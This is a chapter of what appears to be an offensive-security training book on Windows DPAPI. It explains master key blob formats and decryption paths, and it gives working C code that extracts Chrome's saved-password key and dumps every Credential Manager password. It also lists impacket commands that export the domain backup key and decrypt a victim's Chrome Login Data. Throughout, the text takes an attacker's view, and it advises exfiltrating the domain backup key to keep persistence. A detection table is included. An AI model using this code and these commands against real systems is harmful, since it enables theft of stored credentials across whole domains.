Chapter 98

DPAPI Master Key Decryption

How Windows DPAPI protects secrets, locating and decrypting master key blobs using the user's password or the domain backup key, and extracting browser passwords and Credential Manager entries

Scenario

Your target's browser has saved credentials for the company VPN portal, an internal GitLab instance, and several cloud service accounts. Chrome, Edge, and Firefox all store saved passwords encrypted with DPAPI. The DPAPI master key for the user is stored in their profile directory — not in lsass memory, not in the registry. If you know the user's Windows password (or have access to the domain backup key), you can decrypt every DPAPI-protected secret on the machine without any lsass access at all. Understanding DPAPI is also essential because Mimikatz itself uses it internally.

DPAPI Architecture

Data Protection API (DPAPI) is a Windows API for encrypting arbitrary data tied to a user or machine identity. The key hierarchy has three levels: a master key derived from the user's password (or machine secret for SYSTEM DPAPI), a master key blob stored on disk and protected by that derivation, and a data blob encrypted with a session key derived from the master key.

DPAPI Key Hierarchy: User password (or NT hash) | | PBKDF2 / SHA1 derivation + salt from master key blob v Master Key (64 bytes) stored encrypted on disk at: | %APPDATA%\Microsoft\Protect\{SID}\{GUID} | SHA1 derivation v Session Key (variable) derived per data blob using: | master key GUID + additional entropy v Data Encryption Key AES-256 in CBC or 3DES | v Encrypted data blob (DPAPI_BLOB) stored wherever the application saves it DPAPI_BLOB structure (on disk / in registry): Magic: 0x01 (version) Provider GUID: {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} (user), or machine MasterKeyVersion: 0x02 MasterKeyGUID: {GUID} → identifies which master key to use Flags DescriptionLength + Description (UTF-16 string, e.g. "Chrome safe storage key") AlgId: 0x6603 (3DES) or 0x6610 (AES-256) AlgIdHash: 0x8009 (SHA1) or 0x800e (SHA512) SaltLength + Salt HmacLength + Hmac CipherTextLength + CipherText ← the actual encrypted payload

Master Key Blob Format

Each user has a set of master keys — typically one active key and several older ones (DPAPI rotates master keys periodically). The master key blobs live at %APPDATA%\Microsoft\Protect\{user-SID}\. The filename of each blob is the GUID of that master key. A Preferred file in the same directory points to the currently active GUID:

// Master key blob file structure (simplified)
typedef struct {
    DWORD  Version;       // 2
    BYTE   Guid[16];       // Master key GUID (same as filename)
    DWORD  Flags;
    DWORD  MasterKeyLen;   // length of encrypted master key section
    DWORD  BackupKeyLen;   // length of backup key section (encrypted with domain backup key)
    DWORD  CredHistLen;    // credential history section
    DWORD  DomKeyLen;      // domain key section (for domain accounts)
    // Followed by: MasterKey section, BackupKey section, CredHist, DomKey
} MASTERKEY_BLOB_HEADER;

// MasterKey section (what we decrypt to get the 64-byte master key):
typedef struct {
    DWORD  Version;
    DWORD  Salt[4];        // 16 bytes of salt for key derivation
    DWORD  Rounds;         // PBKDF2 iterations (typically 4000 or 8000)
    ALG_ID AlgHash;        // 0x8009 (CALG_SHA1) or 0x800e (CALG_SHA_512)
    ALG_ID AlgCrypt;       // 0x6603 (3DES) or 0x6610 (AES-256)
    BYTE   EncryptedKey[]; // variable: SHA1 of decrypted key + 64-byte key, all encrypted
} MASTERKEY_SECTION;

Decryption Paths

ScenarioDecryption MethodRequired Material
Running as the user whose secrets you wantCryptUnprotectData() — OS does it automaticallyNothing extra — the OS derives the key from the logged-in user context
Have the user's cleartext passwordManual master key derivation: PBKDF2(password, salt, rounds) → decrypt master key → decrypt blobPassword string + master key blob file
Have the user's NT hash but not passwordSHA1(NT hash) → same PBKDF2 path with older Windows versions; on newer builds requires passwordNT hash + master key blob
Domain account, have DC accessMS-BKRP RPC to DC retrieves domain backup key; domain backup key decrypts DomKey section of master key blobAccess to DC (MS-BKRP RPC), domain backup key or DC credentials
SYSTEM context (machine DPAPI)DPAPI_SYSTEM LSA secret provides machine master keySECURITY hive (DPAPI_SYSTEM secret)

Decrypting Master Key with User Password (C Implementation)

When you have the user's plaintext password, derive the master key by replicating Windows' key derivation: SHA1 of the UTF-16LE password → PBKDF2-HMAC-SHA1 with the salt from the master key blob → decrypt the encrypted master key bytes with 3DES or AES. Then use the derived master key to decrypt any DPAPI blob belonging to that user:

#include <windows.h>
#include <wincrypt.h>
#include <dpapi.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "ncrypt.lib")

// Simplest path: if running as the target user,
// CryptUnprotectData handles everything internally
BOOL DecryptDpapiBlob(const BYTE *ciphertext, DWORD cipherLen,
                       BYTE **plaintext, DWORD *plainLen) {
    DATA_BLOB input  = { cipherLen, (BYTE*)ciphertext };
    DATA_BLOB output = {0};

    // CryptUnprotectData works when running as the user who owns the data
    // It automatically finds the correct master key in the user's profile
    if (!CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output)) {
        fprintf(stderr, "CryptUnprotectData failed: %lu\n", GetLastError());
        return FALSE;
    }

    *plaintext = output.pbData;   // caller must LocalFree()
    *plainLen  = output.cbData;
    return TRUE;
}

// Enumerate all master key blobs for the current user
void ListMasterKeys() {
    char path[MAX_PATH];
    DWORD len = GetEnvironmentVariableA("APPDATA", path, MAX_PATH);
    strncat_s(path, MAX_PATH, "\\Microsoft\\Protect", _TRUNCATE);

    WIN32_FIND_DATAA ffd;
    char pattern[MAX_PATH];
    _snprintf_s(pattern, MAX_PATH, _TRUNCATE, "%s\\*", path);

    HANDLE hFind = FindFirstFileA(pattern, &ffd);
    if (hFind == INVALID_HANDLE_VALUE) return;
    do {
        // SID subdirectories contain the master key GUIDs
        if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
            ffd.cFileName[0] != '.') {
            char sidDir[MAX_PATH];
            _snprintf_s(sidDir, MAX_PATH, _TRUNCATE, "%s\\%s\\*", path, ffd.cFileName);

            WIN32_FIND_DATAA mfd;
            HANDLE hm = FindFirstFileA(sidDir, &mfd);
            if (hm != INVALID_HANDLE_VALUE) {
                do {
                    if (!(mfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
                        printf("  MasterKey GUID: %s\\%s\n", ffd.cFileName, mfd.cFileName);
                } while (FindNextFileA(hm, &mfd));
                FindClose(hm);
            }
        }
    } while (FindNextFileA(hFind, &ffd));
    FindClose(hFind);
}

Domain Backup Key via MS-BKRP

For domain accounts, every master key blob contains a DomKey section — an additional copy of the master key encrypted with the domain's DPAPI backup key. The backup key is a 2048-bit RSA key pair stored in Active Directory (under CN=BCKUPKEY_*,CN=System,DC=...) and accessible only by Domain Admins. The MS-BKRP (Microsoft BackupKey Remote Protocol) RPC interface on domain controllers can decrypt any domain account's DPAPI master key if called with Domain Admin credentials:

-- Impacket dpapi.py — domain backup key extraction and use --

# Step 1: Extract domain backup key from DC (requires DA)
python3 dpapi.py backupkeys --action export -t CORP.LOCAL/admin:Password@DC01

# Output: a .pvk file containing the domain RSA backup key

# Step 2: Decrypt a specific master key blob using backup key
python3 dpapi.py masterkey -file "/path/to/{GUID}" -pvk domain_backup_key.pvk

# Step 3: Decrypt a DPAPI blob using the master key
python3 dpapi.py credential -f credential_blob -key 0xABCDEF...  # master key hex

# Step 4: Decrypt Chrome's Login Data using master key
python3 dpapi.py chrome --logindata "C:\Users\victim\AppData\Local\Google\Chrome\User Data\Default\Login Data" \
                        -key 0xABCDEF...
Domain backup key is domain-wide

The domain DPAPI backup key is a single RSA key pair for the entire domain. Anyone who extracts it can decrypt every DPAPI-protected secret for every domain user on every machine in the domain — browser passwords, credential manager entries, WiFi keys, EFS private keys, and more. It persists indefinitely (does not rotate unless manually regenerated), survives password changes, and works on offline blobs. Stealing the domain backup key is one of the highest-value persistence and post-exploitation moves available after domain compromise. It should be exfiltrated and stored securely as part of domain persistence operations.

SYSTEM DPAPI — Machine-Scope Secrets

The SYSTEM account uses a separate DPAPI master key scope. Machine-scope DPAPI (used when CryptProtectData is called with CRYPTPROTECT_LOCAL_MACHINE) protects secrets using a key derived from the machine's account credentials rather than a user's password. The DPAPI_SYSTEM LSA secret (extractable from the SECURITY hive as shown in ch97) provides the material to derive the machine DPAPI master key:

SYSTEM DPAPI Key Path: SECURITY hive LSA Secrets → DPAPI_SYSTEM → two 64-byte values: UserKey: machine-scope key for user-context DPAPI MachineKey: machine-scope key for SYSTEM-context DPAPI Machine master keys: C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\ (SYSTEM user-scope) C:\Windows\System32\Microsoft\Protect\S-1-5-18\ (machine-scope) Use cases of machine-scope DPAPI: - Scheduled task credentials - IIS application pool passwords - SYSTEM service passwords - WiFi network profiles (DPAPI_MACHINE in wlan profiles) - RDP saved connections for SYSTEM-context apps - Cloud credential tokens stored by system services Extraction: secretsdump -security security.bak -system system.bak LOCAL → outputs DPAPI_SYSTEM UserKey and MachineKey as hex → use with dpapi.py to decrypt machine-scope blobs

Browser Credential Extraction

Chrome, Edge (Chromium), and Brave all store saved passwords in an SQLite database at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data. The passwords are encrypted with AES-256-GCM using a key derived from DPAPI. Chrome 80+ added an additional layer: the AES key itself is stored DPAPI-encrypted in the file Local State (JSON). The full extraction chain:

#include <windows.h>
#include <wincrypt.h>
#include <dpapi.h>
#include <stdio.h>

// Step 1: Read "encrypted_key" from Chrome's Local State JSON
// The JSON contains: {"os_crypt":{"encrypted_key":"base64encoded..."}}
// The base64-decoded value starts with "DPAPI" (5 bytes) prefix, rest is DPAPI blob

BOOL GetChromeAesKey(BYTE **keyOut, DWORD *keyLen) {
    char path[MAX_PATH];
    DWORD pLen = GetEnvironmentVariableA("LOCALAPPDATA", path, MAX_PATH);
    strncat_s(path, MAX_PATH,
              "\\Google\\Chrome\\User Data\\Local State", _TRUNCATE);

    // Read Local State JSON
    HANDLE f = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
                            NULL, OPEN_EXISTING, 0, NULL);
    if (f == INVALID_HANDLE_VALUE) return FALSE;

    DWORD fsz = GetFileSize(f, NULL);
    char *json = (char*)HeapAlloc(GetProcessHeap(), 0, fsz + 1);
    DWORD rd;
    ReadFile(f, json, fsz, &rd, NULL);
    json[rd] = '\0';
    CloseHandle(f);

    // Parse: find "encrypted_key":"..." in JSON
    const char *marker = strstr(json, "\"encrypted_key\":\"");
    if (!marker) { HeapFree(GetProcessHeap(), 0, json); return FALSE; }
    marker += strlen("\"encrypted_key\":\"");

    char b64[1024] = {0};
    DWORD b64len = 0;
    while (marker[b64len] != '"' && b64len < sizeof(b64) - 1)
        b64[b64len++] = marker[b64len];

    HeapFree(GetProcessHeap(), 0, json);

    // Base64 decode
    DWORD decodedLen = 0;
    CryptStringToBinaryA(b64, b64len, CRYPT_STRING_BASE64,
                         NULL, &decodedLen, NULL, NULL);
    BYTE *decoded = (BYTE*)HeapAlloc(GetProcessHeap(), 0, decodedLen);
    CryptStringToBinaryA(b64, b64len, CRYPT_STRING_BASE64,
                         decoded, &decodedLen, NULL, NULL);

    // First 5 bytes are "DPAPI" prefix — skip them
    DATA_BLOB input  = { decodedLen - 5, decoded + 5 };
    DATA_BLOB output = {0};
    CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output);

    HeapFree(GetProcessHeap(), 0, decoded);
    *keyOut = output.pbData;   // 32-byte AES-256 key
    *keyLen = output.cbData;
    return (output.cbData == 32);
}

// Step 2: Open "Login Data" SQLite DB and query logins table
// SELECT origin_url, username_value, password_value FROM logins
// password_value bytes: first 3 = "v10" or "v11" prefix, then 12-byte nonce, then AES-GCM ciphertext + 16-byte tag
// Decrypt: AES-256-GCM(key, nonce=bytes[3:15], ciphertext=bytes[15:-16], tag=bytes[-16:])

Windows Credential Manager Extraction

Windows Credential Manager stores credentials (generic, domain, certificate-based) accessible via CredEnumerate and CredRead. When running as the target user, these APIs return decrypted credentials automatically. The credential blobs stored on disk are DPAPI-encrypted files at %LOCALAPPDATA%\Microsoft\Credentials\:

#include <windows.h>
#include <wincred.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")

void DumpCredentialManager() {
    DWORD count = 0;
    PCREDENTIALW *creds = NULL;

    if (!CredEnumerateW(NULL, 0, &count, &creds)) {
        fprintf(stderr, "CredEnumerate failed: %lu\n", GetLastError());
        return;
    }

    printf("[+] Found %lu credentials in Credential Manager:\n\n", count);

    for (DWORD i = 0; i < count; i++) {
        PCREDENTIALW c = creds[i];

        const char *typeStr = "Unknown";
        switch (c->Type) {
            case CRED_TYPE_GENERIC:        typeStr = "Generic";  break;
            case CRED_TYPE_DOMAIN_PASSWORD: typeStr = "Domain";   break;
            case CRED_TYPE_DOMAIN_CERTIFICATE: typeStr = "Certificate"; break;
        }

        wprintf(L"[%d] Type: %S\n", i+1, typeStr);
        wprintf(L"     Target: %s\n", c->TargetName ? c->TargetName : L"(null)");
        wprintf(L"     Username: %s\n", c->UserName ? c->UserName : L"(null)");

        // CredentialBlob is the password — for CRED_TYPE_DOMAIN_PASSWORD it is
        // a UTF-16LE string; for Generic it may be binary or string depending on app
        if (c->CredentialBlobSize > 0 && c->CredentialBlob) {
            // Try printing as wide string
            wprintf(L"     Password: %.*s\n",
                    c->CredentialBlobSize / 2,
                    (WCHAR *)c->CredentialBlob);
        }

        wprintf(L"\n");
    }

    CredFreeW(creds);
}

Detection

SignalSourceNotes
Process accessing %APPDATA%\Microsoft\Protect\ (master key directory)Sysmon EventID 11/FileCreate; ETW FileIOLegitimate access by lsass.exe, DPAPI service; any other process reading .{GUID} files is anomalous
CryptUnprotectData called on Chrome's "encrypted_key" blobETW / userland hookHard to distinguish from Chrome itself; process identity matters
SQLite database (Login Data) opened by non-Chrome process while Chrome is closedSysmon FileCreate/Process accessHigh fidelity — file is locked when Chrome runs; any other process reading it when Chrome is closed is suspicious
CredEnumerate called from unexpected processETW API monitoringpowershell.exe, cmd.exe, or unknown binary calling CredEnumerate
MS-BKRP RPC call to domain controllerNetwork / DC event logUnusual source calling the BackupKey RPC endpoint; DC logs 4662 on CN=BCKUPKEY_* object access

Q&A

Does a user's password change invalidate DPAPI-protected secrets?

Yes and no. When a user changes their password through the normal Windows change password flow (Ctrl+Alt+Del → Change Password, or domain password change), Windows automatically re-encrypts the DPAPI master keys with the new password. The secrets remain accessible. However, if an administrator resets the user's password (rather than the user changing it themselves), Windows cannot automatically re-encrypt the master keys because it no longer has the old password. The master key blobs on disk remain encrypted with the old password — they become inaccessible to the user after the forced reset. The only recovery path is the domain backup key (for domain accounts) or the credential history section of the master key blob (for rotated keys). This is a known issue: forced password resets break DPAPI-protected secrets. From an attacker's perspective: if you reset a target user's password to gain access, you may inadvertently destroy their DPAPI-protected secrets. If you need those secrets, change the password back or extract them before the reset.

Does DPAPI work when the user is offline (not connected to the domain)?

For user-scope DPAPI (encrypted with the user's password): yes, completely offline. The master key derivation from the password is purely local — no DC communication needed. The PBKDF2 derivation happens on the local machine using the master key blob file in the user's profile and their password hash. For the domain key section of the master key blob (the backup/recovery path via MS-BKRP): no, this requires connectivity to a domain controller to call the MS-BKRP RPC. But the primary user-password-based decryption works entirely offline. This is by design — laptop users need to decrypt their DPAPI secrets while travelling without VPN. The domain backup key path is only the recovery/admin path, not the primary path. Implication for attackers: if you have the user's password (from cracking an NT hash from ch97, or from a keylogger), you can decrypt their DPAPI secrets completely offline on an air-gapped analysis machine using impacket's dpapi.py with the -password flag — no connection to the target environment needed after extracting the master key blobs and encrypted credential files.